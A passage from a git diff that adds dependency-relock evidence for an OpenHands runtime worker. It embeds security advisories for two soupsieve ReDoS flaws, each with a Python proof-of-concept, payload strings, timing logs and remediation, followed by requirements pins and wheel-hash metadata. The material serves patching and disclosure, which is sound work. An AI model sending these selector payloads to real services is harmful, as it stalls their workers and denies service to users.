12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n (unterminated attribute value)\n n=1000 len=1003 214.8 ms [SelectorSyntaxError]\n n=2000 len=2003 504.7 ms [SelectorSyntaxError]\n n=4000 len=4003 2031.9 ms [SelectorSyntaxError]\n n=8000 len=8003 8091.3 ms [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\n n=2000 len=2001 79.7 ms [SelectorSyntaxError]\n n=4000 len=4001 322.9 ms [SelectorSyntaxError]\n n=8000 len=8001 1328.9 ms [SelectorSyntaxError]\n n=16000 len=16001 5379.4 ms [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000) (len=12003)\n[+] wall time = 18.28 s [SelectorSyntaxError]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n n=1000 len=1003 113.9 ms [SelectorSyntaxError]\n n=2000 len=2003 457.2 ms [SelectorSyntaxError]\n n=4000 len=4003 1816.8 ms [SelectorSyntaxError]\n n=8000 len=8003 7299.0 ms [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB \u2192 ~8 s; ~12 KB \u2192 ~17 s; scaling ~\u00d74 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected \u2014 stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.", + "id": "GHSA-gjv8-xp57-g29c", + "modified": "2026-09-17T20:45:06.589610839Z", + "published": "2026-09-17T20:32:58Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86000" + }, + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + }, + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the `IDENTIFIER` / `VALUE` selector sub-patterns" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-j934-xhv5-fg8f/GHSA-j934-xhv5-fg8f.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.9.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3", + "2.8.4" + ] + } + ], + "aliases": [ + "CVE-2026-85999" + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333", + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-17T20:32:53Z", + "nvd_published_at": "2026-09-17T16:18:16Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n\u00b2) time. This triggers on perfectly valid selectors \u2014 e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` \u2014 so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern) # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats \u2014 O(n) offsets \u00d7 O(n) per attempt = O(n\u00b2). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel); st = \"ok\"\n except Exception as e:\n st = type(e).__name__\n return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = ct(\"a\" + \" \" * n + \"b\")\n print(f\" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n\u00b2) (2000\u2192100 ms, 4000\u2192448 ms, 8000\u21921622 ms, 16000\u21926719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000\u21921.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\n n=2000 len=2002 112.3 ms [ok]\n n=4000 len=4002 411.5 ms [ok]\n n=8000 len=8002 1602.9 ms [ok]\n n=16000 len=16002 6464.1 ms [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):\n n=1000 len=5002 48.9 ms [SelectorSyntaxError]\n n=2000 len=10002 194.8 ms [SelectorSyntaxError]\n n=4000 len=20002 780.2 ms [SelectorSyntaxError]\n n=8000 len=40002 3145.3 ms [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)\n[+] wall time = 10.23 s [ok]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n n=2000 len=2002 102.7 ms [ok]\n n=4000 len=4002 404.3 ms [ok]\n n=8000 len=8002 1618.2 ms [ok]\n n=16000 len=16002 6457.9 ms [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB \u2192 ~1.6 s; ~20 KB \u2192 ~10 s; scaling ~\u00d74 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.", + "id": "GHSA-j934-xhv5-fg8f", + "modified": "2026-09-17T20:45:05.791958465Z", + "published": "2026-09-17T20:32:53Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85999" + }, + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda" + }, + { + "type": "PACKAGE", + "url": "https://github.com/facelessuser/soupsieve" + }, + { + "type": "WEB", + "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-requirements.in.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-requirements.in.txt new file mode 100644 index 000000000..bef8b92d5 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-requirements.in.txt @@ -0,0 +1,7 @@ +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl +click==8.3.3 +cryptography==50.0.0 +PyJWT==2.14.0 +pypdf==6.16.1 +soupsieve==2.9 diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json new file mode 100644 index 000000000..dc55ca725 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json @@ -0,0 +1,958 @@ +{ + "schema_version": 1, + "source_identity": { + "head": { + "argv": [ + "rtk", + "git", + "-C", + "", + "rev-parse", + "HEAD" + ], + "exit_code": 0, + "stdout": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5\n", + "stderr": "" + }, + "status": { + "argv": [ + "rtk", + "proxy", + "git", + "-C", + "", + "status", + "--porcelain=v1" + ], + "exit_code": 0, + "stdout": "", + "stderr": "" + }, + "python": { + "argv": [ + "rtk", + "/.venv/bin/python", + "--version" + ], + "exit_code": 0, + "stdout": "Python 3.13.15\n", + "stderr": "" + }, + "uv": { + "argv": [ + "rtk", + "uv", + "--version" + ], + "exit_code": 0, + "stdout": "uv 0.12.17 (x86_64-unknown-linux-gnu)\n", + "stderr": "" + }, + "archive": { + "url": "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "bytes": 4108923, + "sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "expected_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "matches": true, + "evidence_class": "Fresh public source archive download and SHA256 identity; not a test run." + }, + "uv_lock_sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801", + "upstream_pyproject_sha256": "e461d50436dfa92ac04f02b441baa09916bc8c6a6580a07b48698e668957b0eb", + "observed_utc": "2026-09-30T07:42:06.778Z" + }, + "selected_upstream_policy": { + "repository": "https://github.com/OpenHands/software-agent-sdk", + "commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "file": "pyproject.toml:7-8", + "url": "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml#L7-L8", + "exclude_newer": "7 days", + "exclude_newer_package": { + "litellm": "2026-07-20T00:00:00Z", + "lmnr": "2026-08-23T00:00:00Z" + } + }, + "native_install_reference": { + "path": "blueprints/runtime-workers/openhands/install-container.sh", + "sha256": "3824f5dbcfe4751884bcb1699faff3c994a6e17a77b81c5866d49b6565595051" + }, + "published_selected_wheel_metadata": [ + { + "filename": "openhands_tools-1.50.0-py3-none-any.whl", + "name": "openhands-tools", + "version": "1.50.0", + "requires_python": ">=3.12", + "requires_dist": [ + "openhands-sdk", + "tree-sitter>=0.24", + "tree-sitter-bash>=0.23", + "binaryornot>=0.4.4", + "cachetools", + "libtmux>=0.53.0", + "pydantic>=2.11.7", + "browser-use>=0.8.0", + "func-timeout>=4.3.5", + "tom-swe>=1.0.3" + ] + }, + { + "filename": "openhands_sdk-1.50.0-py3-none-any.whl", + "name": "openhands-sdk", + "version": "1.50.0", + "requires_python": ">=3.12", + "requires_dist": [ + "agent-client-protocol<0.13.0,>=0.12.1", + "deprecation>=2.1.0", + "fakeredis[lua]>=2.32.1", + "fastmcp<4,>=3.2.0", + "filelock>=3.20.1", + "httpx[socks]>=0.27.0", + "jsonschema>=4.23.0", + "joserfc>=1.7.5", + "litellm>=1.93.0", + "pillow>=12.3.0", + "pydantic>=2.12.5", + "python-frontmatter>=1.1.0", + "python-json-logger>=3.3.0", + "tenacity>=9.1.2", + "websockets>=12", + "lmnr<0.8.0,>=0.7.60", + "tree-sitter>=0.25", + "tree-sitter-bash>=0.25", + "boto3>=1.35.0; extra == \"boto3\"", + "toolshield<0.2,>=0.1.3; extra == \"toolshield\"", + "google-cloud-aiplatform>=1.38; extra == \"vertex\"" + ] + } + ], + "published_selected_wheel_hashes": { + "openhands-sdk": { + "version": "1.50.0", + "url": "https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl", + "sha256": "441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa" + }, + "openhands-tools": { + "version": "1.50.0", + "url": "https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl", + "sha256": "b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e" + } + }, + "fresh_official_fix_metadata": [ + { + "name": "click", + "requested_version": "8.3.3", + "published_version": "8.3.3", + "url": "https://pypi.org/pypi/click/8.3.3/json", + "requires_python": ">=3.10", + "requires_dist": [ + "colorama; platform_system == \"Windows\"" + ], + "files": [ + { + "filename": "click-8.3.3-py3-none-any.whl", + "uploaded": "2026-04-22T15:11:25.044919Z", + "yanked": false, + "sha256": "a2bf429bb3033c89fa4936ffb35d5cb471e3719e1f3c8a7c3fff0b8314305613" + }, + { + "filename": "click-8.3.3.tar.gz", + "uploaded": "2026-04-22T15:11:27.506141Z", + "yanked": false, + "sha256": "398329ad4837b2ff7cbe1dd166a4c0f8900c3ca3a218de04466f38f6497f18a2" + } + ], + "latest_upload": "2026-04-22T15:11:27.506141Z" + }, + { + "name": "cryptography", + "requested_version": "50.0.0", + "published_version": "50.0.0", + "url": "https://pypi.org/pypi/cryptography/50.0.0/json", + "requires_python": "!=3.9.0,!=3.9.1,>=3.9", + "requires_dist": [ + "cffi>=2.0.0; platform_python_implementation != \"PyPy\"", + "typing-extensions>=4.13.2; python_full_version < \"3.11\"", + "bcrypt>=3.1.5; extra == \"ssh\"" + ], + "files": [ + { + "filename": "cryptography-50.0.0.tar.gz", + "uploaded": "2026-07-31T14:25:10.110218Z", + "yanked": false, + "sha256": "eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9" + } + ], + "latest_upload": "2026-07-31T14:25:10.110218Z" + }, + { + "name": "PyJWT", + "requested_version": "2.14.0", + "published_version": "2.14.0", + "url": "https://pypi.org/pypi/PyJWT/2.14.0/json", + "requires_python": ">=3.9", + "requires_dist": [ + "typing_extensions>=4.0; python_version < \"3.11\"", + "cryptography>=3.4.0; extra == \"crypto\"" + ], + "files": [ + { + "filename": "pyjwt-2.14.0-py3-none-any.whl", + "uploaded": "2026-09-11T13:11:53.409243Z", + "yanked": false, + "sha256": "ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc" + }, + { + "filename": "pyjwt-2.14.0.tar.gz", + "uploaded": "2026-09-11T13:11:54.638995Z", + "yanked": false, + "sha256": "77283c83fb56ecf566a886c757a714bc83668e38156de2cce8263302f42e0b86" + } + ], + "latest_upload": "2026-09-11T13:11:54.638995Z" + }, + { + "name": "pypdf", + "requested_version": "6.16.1", + "published_version": "6.16.1", + "url": "https://pypi.org/pypi/pypdf/6.16.1/json", + "requires_python": ">=3.9", + "requires_dist": [ + "typing_extensions>=4.0; python_version < \"3.11\"", + "cryptography>3.0; extra == \"crypto\"", + "PyCryptodome; extra == \"cryptodome\"", + "flit; extra == \"dev\"", + "pip-tools; extra == \"dev\"", + "pre-commit; extra == \"dev\"", + "pytest-cov; extra == \"dev\"", + "pytest-socket; extra == \"dev\"", + "pytest-timeout; extra == \"dev\"", + "pytest-xdist; extra == \"dev\"", + "wheel; extra == \"dev\"", + "myst_parser; extra == \"docs\"", + "sphinx; extra == \"docs\"", + "sphinx_rtd_theme; extra == \"docs\"", + "fonttools; extra == \"fonts\"", + "arabic-reshaper; extra == \"full\"", + "cryptography>3.0; extra == \"full\"", + "fonttools; extra == \"full\"", + "Pillow>=8.0.0; extra == \"full\"", + "python-bidi; extra == \"full\"", + "Pillow>=8.0.0; extra == \"image\"", + "arabic-reshaper; extra == \"rtl-text\"", + "python-bidi; extra == \"rtl-text\"" + ], + "files": [ + { + "filename": "pypdf-6.16.1-py3-none-any.whl", + "uploaded": "2026-08-14T12:24:02.854425Z", + "yanked": false, + "sha256": "63fec31c4092ae50b6729beedcb469055b60d20c834bde1c402df241f371f644" + }, + { + "filename": "pypdf-6.16.1.tar.gz", + "uploaded": "2026-08-14T12:24:04.531118Z", + "yanked": false, + "sha256": "c4d1b43ddae921387321cf63936cd16a7743b91d2da92f165c149a195c972ba9" + } + ], + "latest_upload": "2026-08-14T12:24:04.531118Z" + }, + { + "name": "soupsieve", + "requested_version": "2.9.0", + "published_version": "2.9", + "url": "https://pypi.org/pypi/soupsieve/2.9.0/json", + "requires_python": ">=3.10", + "requires_dist": null, + "files": [ + { + "filename": "soupsieve-2.9-py3-none-any.whl", + "uploaded": "2026-07-19T01:35:17.106393Z", + "yanked": false, + "sha256": "a2b2c76d67df2382d245409fd71e321a571717e58463efa32ace87dcadac2c12" + }, + { + "filename": "soupsieve-2.9.tar.gz", + "uploaded": "2026-07-19T01:35:18.425663Z", + "yanked": false, + "sha256": "acee8417325c5653e1377dc31eccad59eb82cbc65942afe6174c53b3aaad63fc" + } + ], + "latest_upload": "2026-07-19T01:35:18.425663Z" + }, + { + "name": "oauthlib", + "requested_version": "4.0.0", + "published_version": "4.0.0", + "url": "https://pypi.org/pypi/oauthlib/4.0.0/json", + "requires_python": ">=3.9", + "requires_dist": [ + "cryptography>=3.0.0; extra == \"rsa\"", + "cryptography>=3.0.0; extra == \"signedtoken\"", + "pyjwt<3,>=2.0.0; extra == \"signedtoken\"", + "blinker>=1.4.0; extra == \"signals\"" + ], + "files": [ + { + "filename": "oauthlib-4.0.0-py3-none-any.whl", + "uploaded": "2026-09-28T06:01:17.008169Z", + "yanked": false, + "sha256": "624c28c13a0a59cabf9747dfa52af63be3e512a7f2714df16e91b5b3a145e6cd" + }, + { + "filename": "oauthlib-4.0.0.tar.gz", + "uploaded": "2026-09-28T06:01:18.770551Z", + "yanked": false, + "sha256": "efb274799819440f95b4ab3b818869f1ce9ae26c5beacba0201d1a1b76b54f86" + } + ], + "latest_upload": "2026-09-28T06:01:18.770551Z" + } + ], + "native_unchanged_parent_metadata": [ + { + "package": "httpx", + "version": "0.28.1", + "requires": [ + "click==8.*; extra == 'cli'" + ] + }, + { + "package": "requests-oauthlib", + "version": "2.0.0", + "requires": [ + "oauthlib >=3.0.0", + "oauthlib[signedtoken] >=3.0.0 ; extra == 'rsa'" + ] + }, + { + "package": "browser-use", + "version": "0.11.9", + "requires": [ + "click>=8.1.8", + "pypdf>=5.7.0" + ] + }, + { + "package": "Authlib", + "version": "1.6.12", + "requires": [ + "cryptography" + ] + }, + { + "package": "SecretStorage", + "version": "3.5.0", + "requires": [ + "cryptography>=2.0" + ] + }, + { + "package": "dnspython", + "version": "2.8.0", + "requires": [ + "cryptography>=45; extra == 'dnssec'" + ] + }, + { + "package": "mcp", + "version": "1.28.1", + "requires": [ + "pyjwt[crypto]>=2.10.1" + ] + }, + { + "package": "fastmcp", + "version": "3.2.0", + "requires": [ + "pyjwt>=2.12.0; extra == 'azure'" + ] + }, + { + "package": "google-auth", + "version": "2.53.0", + "requires": [ + "cryptography>=38.0.3", + "cryptography>=38.0.3; extra == \"cryptography\"", + "pyjwt>=2.0; extra == \"pyjwt\"", + "pyjwt>=2.0; extra == \"testing\"" + ] + }, + { + "package": "litellm", + "version": "1.93.0", + "requires": [ + "click>=8.0.0,<9.0", + "pyjwt>=2.13.0,<3.0 ; extra == 'proxy'", + "cryptography>=48.0.1,<49.0 ; extra == 'proxy'", + "pypdf>=6.12.0,<7.0 ; extra == 'proxy-runtime'" + ] + }, + { + "package": "joserfc", + "version": "1.7.5", + "requires": [ + "cryptography>=45.0.1" + ] + }, + { + "package": "uvicorn", + "version": "0.52.4", + "requires": [ + "click>=7.0" + ] + }, + { + "package": "beartype", + "version": "0.22.9", + "requires": [ + "click; extra == 'dev'", + "click; extra == 'test'", + "click; extra == 'test-tox'" + ] + }, + { + "package": "redis", + "version": "7.2.1", + "requires": [ + "pyjwt>=2.9.0; extra == 'jwt'", + "cryptography>=36.0.1; extra == 'ocsp'" + ] + }, + { + "package": "beautifulsoup4", + "version": "4.14.2", + "requires": [ + "soupsieve>1.2" + ] + }, + { + "package": "google-auth-oauthlib", + "version": "1.2.2", + "requires": [ + "click>=6.0.0; extra == \"tool\"" + ] + }, + { + "package": "oauthlib", + "version": "3.3.1", + "requires": [ + "cryptography>=3.0.0; extra == \"rsa\"", + "cryptography>=3.0.0; extra == \"signedtoken\"", + "pyjwt<3,>=2.0.0; extra == \"signedtoken\"" + ] + }, + { + "package": "python-dotenv", + "version": "1.2.2", + "requires": [ + "click>=5.0; extra == \"cli\"" + ] + }, + { + "package": "py-key-value-aio", + "version": "0.4.4", + "requires": [ + "cryptography>=45.0.0 ; extra == 'wrappers-encryption'" + ] + }, + { + "package": "streamlit", + "version": "1.63.0", + "requires": [ + "click<9,>=7.0" + ] + }, + { + "package": "PyJWT", + "version": "2.13.0", + "requires": [ + "cryptography>=3.4.0; extra == \"crypto\"" + ] + }, + { + "package": "pypdf", + "version": "6.14.2", + "requires": [ + "cryptography>3.0 ; extra == \"crypto\"", + "cryptography>3.0 ; extra == \"full\"" + ] + } + ], + "native_osv_advisory_fix_ranges_and_references": [ + { + "package": { + "name": "click", + "version": "8.1.8", + "ecosystem": "PyPI" + }, + "ids": [ + "PYSEC-2026-2132" + ], + "fixed": [ + "8.3.3" + ], + "refs": [ + "https://github.com/pallets/click/releases/tag/8.3.3", + "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw" + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-2132" + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" + ], + "max_severity": "7.2" + } + ] + }, + { + "package": { + "name": "cryptography", + "version": "48.0.1", + "ecosystem": "PyPI" + }, + "ids": [ + "PYSEC-2026-3552", + "PYSEC-2026-3553", + "PYSEC-2026-3554", + "GHSA-g6cj-pr64-35w5", + "GHSA-jwv3-5hgf-82ww", + "GHSA-m2h6-j472-rp4c" + ], + "fixed": [ + "50.0.0", + "49.0.0" + ], + "refs": [ + "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5", + "https://github.com/pyca/cryptography/pull/15369", + "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f", + "https://github.com/pyca/cryptography", + "https://pypi.org/project/cryptography" + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3552", + "GHSA-g6cj-pr64-35w5" + ], + "aliases": [ + "CVE-2026-69247", + "GHSA-g6cj-pr64-35w5", + "PYSEC-2026-3552" + ], + "max_severity": "8.2" + }, + { + "ids": [ + "PYSEC-2026-3553", + "GHSA-jwv3-5hgf-82ww" + ], + "aliases": [ + "CVE-2026-69249", + "GHSA-jwv3-5hgf-82ww", + "PYSEC-2026-3553" + ], + "max_severity": "8.7" + }, + { + "ids": [ + "PYSEC-2026-3554", + "GHSA-m2h6-j472-rp4c" + ], + "aliases": [ + "CVE-2026-69248", + "GHSA-m2h6-j472-rp4c", + "PYSEC-2026-3554" + ], + "max_severity": "6.9" + } + ] + }, + { + "package": { + "name": "pyjwt", + "version": "2.13.0", + "ecosystem": "PyPI" + }, + "ids": [ + "GHSA-2gx3-rcp4-g85q", + "GHSA-8wjv-2p76-3863", + "GHSA-9j54-fg26-wv3r", + "GHSA-9v7f-9g4p-ffgj", + "GHSA-ffc3-869f-jxw9", + "GHSA-hxm8-2xgr-2p9m", + "GHSA-p4g4-x82p-q773", + "GHSA-r6x4-923q-g947", + "GHSA-w2cx-738m-mc7w", + "GHSA-w6j9-cwv2-h6wq" + ], + "fixed": [ + "2.14.0" + ], + "refs": [ + "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q", + "https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1", + "https://github.com/jpadilla/pyjwt", + 